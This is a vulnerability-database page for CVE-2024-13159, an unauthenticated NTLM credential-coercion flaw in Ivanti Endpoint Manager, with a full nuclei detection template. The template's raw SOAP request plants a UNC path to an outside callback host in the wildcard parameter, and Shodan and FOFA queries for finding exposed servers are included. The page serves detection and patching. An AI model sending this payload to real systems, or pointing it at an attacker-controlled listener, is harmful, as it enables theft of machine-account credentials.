Browse / CVEs / CVE-2024-13159
CVE-2024-13159· CWE-36
Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcardRecursive
Exploited in the wild. Listed by CISA on 2025-03-10; known to be used by ransomware.
A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcardRecursive endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
Impact
Unauthenticated attackers can coerce NTLM authentication from the EPM server via UNC paths, allowing credential theft through man-in-the-middle attacks.
Fix
Update Ivanti Endpoint Manager (EPM) to a patched version that addresses CVE-2024-13159.
How to confirm it
Send: POST /WSVulnerabilityCore/VulCore.asmx
Positive when: contains(interactsh_protocol, "dns") and contains(body, "<GetHashForWildcardRecursiveResponse") and contains(content_type, "text/xml") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-13159 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-13159
info:
name: Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcardRecursive
author: ritikchaddha
severity: critical
description: |
A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcardRecursive endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
impact: |
Unauthenticated attackers can coerce NTLM authentication from the EPM server via UNC paths, allowing credential theft through man-in-the-middle attacks.
remediation: |
Update Ivanti Endpoint Manager (EPM) to a patched version that addresses CVE-2024-13159.
reference:
- https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13159
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-13159
cwe-id: CWE-36
epss-score: 0.99993
epss-percentile: 0.99987
metadata:
max-request: 1
shodan-query: http.favicon.hash:362091310
fofa-query: icon_hash="362091310"
tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev,vkev,vuln
variables:
file: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: text/xml
Soapaction: http://tempuri.org/GetHashForWildcardRecursive
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetHashForWildcardRecursive xmlns="http://tempuri.org/">
<wildcard>\\{{interactsh-url}}\tmp\{{file}}.txt</wildcard>
</GetHashForWildcardRecursive>
</soap:Body>
</soap:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(body, "<GetHashForWildcardRecursiveResponse")'
- 'contains(content_type, "text/xml")'
- 'status_code == 200'
condition: andReferences
- https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13159
Use this check only on systems you are authorised to test. Where the data comes from